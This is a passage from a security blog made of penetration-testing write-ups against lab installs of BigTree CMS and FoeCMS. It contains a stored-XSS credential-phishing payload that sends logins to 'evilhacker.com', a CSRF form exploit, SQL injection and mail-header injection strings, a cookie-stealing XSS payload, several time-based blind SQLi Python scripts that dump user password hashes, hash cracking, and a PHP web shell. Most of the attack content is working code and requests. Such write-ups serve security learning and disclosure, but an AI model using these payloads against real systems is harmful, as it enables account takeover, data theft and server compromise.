                        l.onreadystatechange=function(){
                            if(l.readyState==4){
                                p=new DOMParser();
                                z=p.parseFromString(l.responseText,"text/html");
                                i=z.createElement('div');
                                i.id='eventmsgError';
                                i.className='eventmsg';
                                i.innerHTML="<p>Your session has expired, please login again</p>";
                                f=z.forms[0];
                                z.getElementById('content').children[0].insertBefore(i, f);
                                s={ foo: "bar" };
                                history.pushState(s, "", "/index.php?url=session");
                                document.documentElement.innerHTML=z.documentElement.innerHTML;
                                document.forms[0].onsubmit=function(){
                                    u=document.getElementById('sessionIdentifier').value;
                                    pass=document.getElementById('sessionPassword').value;
                                    x=new XMLHttpRequest();
                                    x.open("GET","http://evilhacker.com?user="+u+"&pass="+pass,true);
                                    x.send();
                                    localStorage.setItem(n, "Done");
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

I URL encoded all of this using Burp:

Copy the output of the Burp encoder, intercept the request while editing the article again and put the encoded payload inbetween script tags after the article:

At this point I setup a python server listening on another host and in my payload I had put the IP address of this host with the port 8000.

Then I logged out and logged in as the admin user, when I went to view the article, it showed for a second but then displayed this page:

800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800 800

Obviously if this had happened right after login it might look a little suspicious but the user might have just put it down to an application bug, especially as it wouldn't happen again.

After logging in again on this page I saw this on my terminal running the python server:

1
2
3
4
D:\test>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
win8 - - [20/Mar/2015 14:42:57] "GET /[email protected]&pass=admin HTTP/
1.1" 301 -

Now when viewing the article we see:

Obviously in a real attack we'd upload a less obvious article and probably a very interesting one that a lot of people would want to view.

Conclusion

Obviously the major issue here is the need to already have an account with article add/edit abilities but this could be achieved through phishing, brute forcing or just a malicious user.

But I hope this should demonstrate the need for XSS protection in every area of a web application.

It should also demonstrate a way in which accounts can by hijacked even without the ability to get password hashes and crack them or steal session cookies.

With a little imagination the sky is the limit!

Happy Hacking :-)

CSRF In BigTree CMS

8 March 2015 at 21:30
By: 0xe7

Yesterday I found a cross site request forgery (CSRF) vulnerability in the latest version of BigTree CMS (at the time of writing version 1.4.5).

This is a little explaination of the vulnerability and how to exploit it.

The Vulnerability

The vulnerability is in the account settings request, which is used to change the account name, company and password.

A normal request looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /site/index.php/admin/users/profile/update/ HTTP/1.1
Host: bigtree
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bigtree/site/index.php/admin/users/profile/
Cookie: bigtree_admin[email]=admin%40admin.com; bigtree_admin[password]=%24P%24BtBKYRYkkk%2FMEvT%2F.XzNJO8j.6Z1bN%2F; PHPSESSID=iee0n5s0gu9b0ausud7hdqkql4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

name=Developer&password=newpassword&company=

The vulnerability exists in [BigTreeROOT]/core/admin/modules/users/profile/update.php:

1
2
3
4
5
<?
        $admin->updateProfile($_POST);
        $admin->growl("Users","Updated Profile");
        BigTree::redirect(ADMIN_ROOT."dashboard/");
?>

Here is clearly isn't doing any checks to prevent CSRF.

The Exploit

So exploiting this is very simple, you just have to lure someone who is already logged into the application is visit a page containing this code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<html>
  <body>
    <form method="post" action="http:/bigtree/site/index.php/admin/users/profile/update/" >
      <input type="hidden" name="name" value="admin" />
      <input type="hidden" name="password" value="newpassword" />
      <input type="hidden" name="company" value="foobar" />
    </form>
    <script>
      document.forms[0].submit()
    </script>
  </body>
</html>

The values here can be changed to anything, it just automatically issues a POST request to http:/bigtree/site/index.php/admin/users/profile/update/ with the following arguments:

name=admin&password=newpassword&company=foobar

Unfortunately it is reasonably intrusive because when loaded the victim will see this:

So the user will immediately know that their profile details might have changed.

The Fix

So I contacted Tim Buckingham (the lead developer for BigTree CMS) about this issue yesterday (on 7th March 2015) and he replied the next day informing me that he'd fixed the issue.

You can see the fix here.

The next full releases of BigTree CMS (4.1.6 and 4.0.10) should be out next week and will incorporate this fix.

Happy Hacking :-)

Update (07/04/2015): BigTree CMS have finally released the next version (4.2) that includes the fix, you can download the latest version from here.

Hacking FoeCMS

8 March 2015 at 10:24
By: 0xe7

Today I decided to look at FoeCMS.

There are many known vulnerabilities for the older version of the application (version 1.6.5) but none that I could find for the current version (on Github).

I plan to develop a full attack against this application while looking for vulnerabilities.

Setting Up The App

I setup the application on Debian/Apache/PHP5/MySQL.

Its pretty easy to setup, just pull the code from github with:

git clone https://github.com/themarioga/FoeCMS.git

Place it in the webroot (or subfolder if you wish), set the permissions:

chown -R www-data:www-data /var/www

Then create the database and database user:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:~# mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 43
Server version: 5.5.41-0+wheezy1 (Debian)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database foecms;
Query OK, 1 row affected (0.00 sec)

mysql> grant all on foecms.* to 'foecms'@'localhost' identified by 'foecms';
Query OK, 0 rows affected (0.00 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

mysql> quit
Bye

Now its just a matter of finishing the installation through the browser, visiting the site we get directed to this:

These are the setting I'm using. Notice how only guests with intitations can register.

There is 1 thing left to do, remove or rename the install directory:

[email protected]:~# mv /var/www/install /var/www/install.old

Now that installation is finished when we visit the webpage we should be presented with this:

Some Vulnerabilities

Now we just need to use the application a bit and see what we can find.

Some SQL Injections

The first thing I done is change the language to English (by clicking the little union jack flag on the top of the page), this sends the following request:

http://foecms/index.php?i=2

Which sets the following cookie:

foecms_lang=2; expires=Mon, 09-Mar-2015 11:05:12 GMT

Here we already have 2 possible attack vectors (the value of the i parameter to index.php and the value of the foecms_lang cookie).

In fact both of these are vulnerable to SQL Injection, you can see this if you send this request:

http://foecms/index.php?i=2%27

Here is the full response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
HTTP/1.1 200 OK
Date: Sun, 08 Mar 2015 11:12:31 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: foecms_lang=2%27; expires=Mon, 09-Mar-2015 11:12:31 GMT
Vary: Accept-Encoding
Content-Length: 182
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<script>history.back();</script>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

And now if you visit any page, you get the same response body:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2''' at line 1

To get rid of this error we need to remove the %27 from the cookie, I prefer Cookie Manager+ for this purpose:

And delete the PHPSESSID cookie:

Continuing to play about with the application I come across another page with an SQL injection vulnerability:

And an XSS is also possible:

I won't explain how to exploit these SQL injection vulnerabilities anymore, I've already done that pretty extensively in previous posts.

A Mail Injection Vulnerability

So Let's move on.

Clicking on Contact at the bottom of the site give you this, rather poorly written, page:

After putting in some arbitrary information, I set Burp to intercept the request, capture it and insert the following into the email address field:

%0aBCC:[email protected]

Here I am trying to inject another email address to send the email to:

Note: for the web application to be able to send emails externally (on the setup I have running) you need to enable it by running the following command and chosing Internet Site:

[email protected]:~# dpkg-reconfigure exim4-config

Checking the mailbox at mailinators website, we can see the email has been received:

Unfortunately the subject didn't get sent correctly but with a bit of testing I'm sure this could be refined to a more convincing email, and then this could be used as an email proxy to send out spam/phishing email.

A Logic Flaw

When trying to register, by visiting:

http://foecms/register.php

We get redirected to the following error:

This is because I set registration to invite only during installation.

After some testing I decided to add the cookie foecms_userid:

I did this because of the foecms_lang cookie. I then clicked on the link to the test post, which sent this request:

http://foecms/viewitem.php?i=1

I got an error message saying No items found and then redirected to the homepage again, where I see this:

So it appears that I have been logged in.

We also now have the extra User Control Panel button, which gives us:

It looks like even though we're logged in, we're not logged in as anyone in particular, which means we have limited functionailty.

For instance, we can't change any account details because our session doesn't appear to belong to an account.

Inviting Myself

I did, however, have access to the invitation page:

After sending an invitation we get this:

So it tells us the URL to visit. Here is the email that is received:

This email isn't really helpful but the application has already given us the registration URL.

The problem is when we visit it we get this:

Fixing The App

The problem we face here seems to be a problem in the application itself.

It doesn't seem to be prepending the prefix to the table name.

Obviously this would have been fixed on a production website so I just fixed this manually by editing /var/www/include/functions.php, line 336, and changing it from:

1
$res = mysql_query("SELECT * FROM ".$MYSQL_PREFIX."invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

And replacing it with this:

1
$res = mysql_query("SELECT * FROM foe_invitation WHERE inv_session LIKE '".mysql_real_escape_string($inv)."'") or die(mysql_error());

So I'm just hardcoding the prefix into the query, not the best fix but it will work for our purposes.

Now when we visit the registration page we get:

Obviously, if we want to create an account we probably want to give it a less obvious name but we are only testing here.

Here is the welcome email you receive after registration:

The main thing we can get from this is that our email is sent in plain text and its encrypted as MD5.

XSS Via SQL Injection

Actually, after this next vulnerability it might not have been necessary to create an account but the account will come in useful for testing it.

Now that we have an account we can try sending a message to it:

Logging into the new hacker acccount we can see we've received a new message:

But clicking on this message show us this (after some form of redirect):

Looking at the code in Burp we can see why this redirect happened:

But the message was displayed:

Now I did try a number of things to perform an XSS attack but was unable to.

But trying to send another message but with message' in the message box we get the following error:

Clearly we have another SQL injection vulnerability but this time in an INSERT statement.

The error tells us that we are injecting right at the end of the statement, so what we'll do is close off the current row and insert a new row, we'll also need to comment out anything after our injection.

So our injection should look as follows:

message'),([our new record]); --

The problem we've got is we don't know the number of columns or their types used in the statement.

We could use 1 of the other SQL injections to query the information_schema to get that information but we can use a different method.

Because NULL can be typecast to any type in MySQL, we can just keep increasing the number of NULL's until we no longer get an error.

There will likely be at least 4 columns (from, to, title and message), so lets start there by sending:

message'),(null,null,null,null); --

We got another error!

Looking at the request in Burp we can see why:

It seems the browser has stripped the last space from the message, which on other DBMSs it wouldn't be a problem but on MySQL it is, so we will use Burp's Repeater to do this injection:

Now we can edit the request in a lot more detail and sending it is successful:

This means there there are only 4 fields (assumably form, to, title and message).

Obviously, this isn't helpful because we've not filled in any of the fields so the message will not actually go to anyone.

The problem is that we don't know the types of the fields (at least the from and to fields) or the positions of any of them other than the message field.

In this case a bit of trial and error is normally required but luckily the first thing I tried turned out to be fruitful:

Hewre I am just injecting (1,2,3,4) as our new record.

After logging into the hacker account and checking the messages, we have recieved a message from admin with the title 3:

As its showing up as being from admin its likely that the first field is the from field and its using the userid instead of the username.

Also, this means the hacker user likely has a userid of 2.

Clicking on the message, we get:

So it no longer redirects, what that probably means is that because we were sending the message from a nonexistent account the redirect happens but when its sent from a valid userid the redirect doesn't happen.

So now we can test sending an XSS payload:

Viewing this message:

So some sanitization has been done.

We can use MySQL's CHAR and CONCAT functions to avoid using < or >.

We do this by putting the following in the message field:

1
concat('message',char(60),'script',char(62),'alert("xss")',char(60),'/script',char(62))

And viewing this message:

Success!

Now we just have to craft a payload that we can use to steal the admin users session cookies (as the cookies aren't protected with the httponly flag its possible to do this using javascript).

One way of doing that is the following:

1
2
3
4
5
6
p="receiver=hacker%26topic=mycookies%26message="%2bdocument.cookie;
r=new+XMLHttpRequest();
r.open("POST","/ucp/index.php?c=2",true);
r.setRequestHeader("Content-type","application/x-www-form-urlencoded");
r.setRequestHeader("Content-length",p.length);
r.send(p);

Here I'm just sending a message to the account I created with the cookies as the message.

I could have just sent to cookie in a HTTP request to any server on the internet and got the cookie that way but I thought this would be fun :-)

Viewing this with firebug we can see that the request was made:

However, as you can see here (from the response in firebug) the request failed:

This was only because the application doesn't allow sending messages to yourself, when we attack the admin account it will be sending the message to the hacker account.

I think its time to test the attack on the admin:

Notice above that I substituted any instance of & with char(38), this was because the application was converting & for & which broke the attack.

Now logging in as admin (with firebug running so we can see the request):

Now if we check the hacker users messages (obviously from a different browser so we don't expire the admin's session):

Finding RCE

We can now hijack the admin's session, there are a number of ways to do this, all we need to do is add the PHPSESSID cookie to our browser.

This time I'm going to do that by setting Burp as the proxy and intercepting the response from the server to add a Set-Cookie header:

Now if we reload the homepage we are logged into the admin account.

An Unrestricted File Upload Vulnerability

There is now another button on the top of the site Admin's Panel, looking through that a bit give us a good option for a file upload vulnerability:

This seemed to work fine, we just need to figure out where it uploaded to.

Visiting the homepage showed a new section with a broken image (assumably the image that I didn't upload when uploading my backdoor:

Right clicking and copying the link to that broken image gave me the following link:

http://foecms/storecontent/image/test/cmd

Browsing about in this storecontent directory led me to where the actual backdoor had been uploaded:

And now we can run commands on the server:

PWNED!!! :-D

Conclusion

As you can see, there can be a lot of steps involved in attacking a web application, especially if you want to make the most out of the attack.

Yes, I could have used the first SQL injection attack to find the admin account details and crack the password (as in my previous post) but firstly, if the admin accounts password is sufficiently secure and encrypted then it might not be feasible to crack it, and secondly I wanted to demonstrate another of the many ways a web application could be comprimised.

Happy Hacking :-)

Further Reading

I'll advise the exact same further reading as in my previous post because they are all still relevant.

A Web Hack

8 February 2015 at 13:37
By: 0xe7

So the other day I ran across this.

Its a virtualbox VM containing load of web applications vulnerable to SQL injection put together by Pentester Academy.

I've been a member of Pentester Academy from the very start (as well as having done a few of Securitytube's earlier courses), which I highly recommend, but I've never seen this VM.

In fact there are 2 VM's on this account that I've never seen before, I've seen both the arbirary file upload VM and the command injection VM (which I done a post about 1 of the applications here) but both the SQL injection and XSS/CRSF I'd never seen before.

So I decided to give it a go.

I've done a few of the challenges and they have been very fun so far but there is 1 I'd like to share.

With these challenges I'm trying to approach them from a web analysis point of view, so I'm looking for many different vulnerablities and not just to SQL injection.

Also I'm not using any public information about the applications to attack them and I'm doing the attacks from a completely blind approach (with no access to the machine or source code at all).

The Vulnerable App

The application I will be demonstrating is Bigtree-CMS.

Its an old version of the application and I won't be downloading the source and looking at that I will just be pretending that the source code is unavaliable.

So if we download the VM, import it into virtualbox boot it up and visit:

http://[ip]/BigTree-CMS/

We are 302 redirected and see the following:

Most likely something has gone wrong here, its worth noting here that I always setup the web browser that I am using to analyse a website to go through burp suite, so let's look at burp to see what happened:

So as you can see the application is pointing to itself via localhost meaning it is using absolute links and not relative. This is probably because the application was setup using localhost as its name.

We'll have to use burp to rewrite all of the responses:

Now if we reload the page we get:

A Quick Analysis

So we have the application working normally, its time to explore it.

There is only 1 thing we know for certain about this application, and that is that it is vulnerable to an SQL injection.

If you click on the Glossary link in the top right of the homepage, you get redirected to the following url:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

This suggests that the site is using REST-style urls, which basically means the values from normal url query paramerters are integrated into the url itself. So, in regards to a search function, instead of this url:

http://[website]/[path]?search=foobar

You would have:

http://[website]/[path]/search/foobar

What this means is parts of the url can se treated as a parameter would be treated.

Also, after putting in the following url:

http://[ip]/BigTree-CMS/site/index.php/admin/

We get redirected to the following page:

I tried looking for SQL injections into the login but it appeared to be reasonably secure.

Also there doesn't appear to be a signup link anywhere and going to:

http://[ip]/BigTree-CMS/site/index.php/admin/signup/

Redirects to the login page, and:

http://[ip]/BigTree-CMS/site/index.php/signup/

404's

An SQL Injection

I'm going to rush through this section because there is a lot of trial and error involved in determining the database and building; and refining the injection attack but I go into that in much more detail in my SQL Injections post.

So my focus turned to the url parameters. I first tried:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid%27/

But got redirected back to:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

So I tried the quote next to glossary and this happened:

This is very helpful, it actually tells us the full query we are injecting into:

Unfortunately it doesn't allow us to retrieve arbitrary information to the screen (at least that I could find) or even tell us the number of columns that the original query returns.

Obviously we can figure out the number of columns is 3 using SQL's ORDER BY because the lowest number to fail is:

http://[ip]/BigTree-CMS/site/index.php/glossary%27%20order%20by%204%20--%20/acid/

The easiest method I found of exploiting this was by using a time-based approach, I assume you could use a content-based approach by way of a forced error or ensuring no records were returned (and getting returned a 404) but I'm not on a time constraint so I wasn't too bothered.

So I first wrote a script to give me the database name (or at least a database name) and 1 of its table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                 "%28select%20concat%28table_schema,%27%20:%20%27,table_name" \
                 "%29%20from%20information_schema.tables%20where%20" \
                 "table_schema!=%27information_schema%27%20limit%201%29," \
                 "{0},1%29%29={1}%20then%20sleep(3)" \
                 "%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Believe it or not, this is how I write scripts, stright url encoded (mostly) and normally have the string on 1 line (I've put it on multiple lines here for readability).

For those of you not as used to url encoding and SQL, here is what I'm injecting:

' union select null,null,case when ascii(substr((select concat(table_schema,' : ',table_name) from information_schema.tables where table_schema!='information_schema' limit 1),[position],1))=[character ascii value] then sleep(3) else 1 end --

Then I'm checking to see if the response took longer than 3 seconds (we could increase this based on how quickly the website normally takes to respond).

I'm sending it through the proxy at 127.0.0.1:8080 (which is burp) so that burp can rewrite the relevant content and headers automatically, even though it shouldn't make a difference I thought it wouldn't hurt.

When run we get this:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-database.py"
bigtree : bigtree_404s

So we now have the database name and a table name from it, this is likely not the table we are really interested in though so another script is required to find out the rest of the table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                     "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                     "%28select%20group_concat%28table_name%20separator%20%27%20|" \
                     "%20%27%29%20from%20information_schema.tables%20where%20" \
                     "table_schema=%27bigtree%27%20and%20table_name!=" \
                     "%27bigtree_404s%27%29,{0},1%29%29=" \
                     "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

This is almost the same as the last script except I'm using GROUP_CONCAT to concatenate all the records and I'm excluding the bigtree_404s table.

Running it you get:

1
2
3
4
5
6
7
8
9
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-tables.py"
bigtree_audit_trail | bigtree_callouts | bigtree_feeds | bigtree_field_types | b
igtree_locks | bigtree_messages | bigtree_module_actions | bigtree_module_forms
| bigtree_module_groups | bigtree_module_view_cache | bigtree_module_views | big
tree_modules | bigtree_page_revisions | bigtree_pages | bigtree_pending_changes
| bigtree_resource_folders | bigtree_resources | bigtree_route_history | bigtree
_settings | bigtree_tags | bigtree_tags_rel | bigtree_templates | bigtree_users
| btx_dogwood_authors | btx_dogwood_categories | btx_dogwood_post_categories | b
tx_dogwood_posts | sample_features | sample_glossary

Obviously the table of most interest to us here is bigtree_users, now we need to figure out the column names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28column_name%20separator%20" \
                 "%27%20|%20%27%29%20from%20information_schema.columns%20" \
                 "where%20table_name=%27bigtree_users%27%29,{0},1%29%29=" \
                 "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Again this is very similar to the last 2 script, except now we are looking at the columns table of the information_schema database.

Running this you get:

1
2
3
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-columns.py"
id | email | password | name | company | level | permissions | alerts | daily_di
gest | change_password_hash

Now we have enough information to get the account details, I've chosen a few interesting columns to print:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28concat%28email,%27%20:%20" \
                 "%27,password,%27%20:%20%27,name,%27%20:%20%27,level,%27" \
                 "%20:%20%27,permissions%29%20separator%20%27%20|%20%27%29" \
                 "%20from%20bigtree.bigtree_users%29,{0},1%29" \
                 "%29={1}%20then%20sleep(3)%20else%201%20" \
                 "end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Running this we get:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-accounts.py"
[email protected] : $P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0 : Developer : 2 :

Cracking The Hash

So we have the details for 1 user account (the admin account in this case), now we should try to crack it.

For this I'll use john the ripper.

Let's try just a normal brute force for a while and if that takes too long we'll try a dictionary attack or something:

1
2
3
4
5
6
7
[email protected]:~# cat pwhash 
[email protected]:$P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0
[email protected]:~# john pwhash 
Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x3])
123321           ([email protected])
guesses: 1  time: 0:00:00:04 DONE (Thu Mar  5 16:28:41 2015)  c/s: 2826  trying: trident - 88888888
Use the "--show" option to display all of the cracked passwords reliably

Luckily this was a very insecure password and the hash was cracked very quickly using a brute force (this is another security issue, allowing weak passwords).

Some More Poking About

After logging in as the [email protected] user, you should see this:

Clicking around there are a number of interesting things, like a stored XSS in the footer social links, so by creating a footer link like this:

And while it doesn't run when viewed in the admin panel (bare in mind that the subtitle field is likely vulnerable too to make this less obvious):

When any normal page is visited, the attack is run:

And looking at this response in burp, we can see where our attack payload is put:

But, more interestingly, in Modules -> Features -> Add Feature I have the ability to upload pictures:

Unrestricted File Upload Vulnerability

So, first I just upload a normal image file.

For this I'm going to use this image (credits to Majonez who created it).

I just saved it with the filename one.jpg, select it in the form, put the title as one, click Save & Publish and I get this:

Its asking to crop the image, which probably means there is some sort of analysis done on the image.

Full Path Disclosure

At this point I decided to try to upload a plain PHP backdoor, so I clicked on the View Features button and was presented with this:

Obviously because I started uploading the image it created the feature but as I didn't crop it it hasn't finished creating the feature, this is a logic flaw in the application which may or may not lead to a security vulnerability.

Let's look at this feature:

So the logic flaw lead to a full path disclosure vulnerability, really the developers should have waited until all of the steps of creating the feature had completed before creating the feature, discarding any half created features after a timeout, also this error should be caught and dealt with gracefully.

Back To The File Upload

Anyway, we can continue by trying to upload the following PHP file:

1
<?php echo system($_GET['cmd']); ?>

This is just a very simple PHP backdoor which will take an input in the cmd argument of a query string of a GET request.

Trying to upload the file in the same manner as I did the image, I get:

The image size is 1 issue but it also says that it isn't an image file, this could just be a content type check or it could also check the file extension.

Hopefully we can beat both of these checks by using a real image but chaning the file extension to .php.

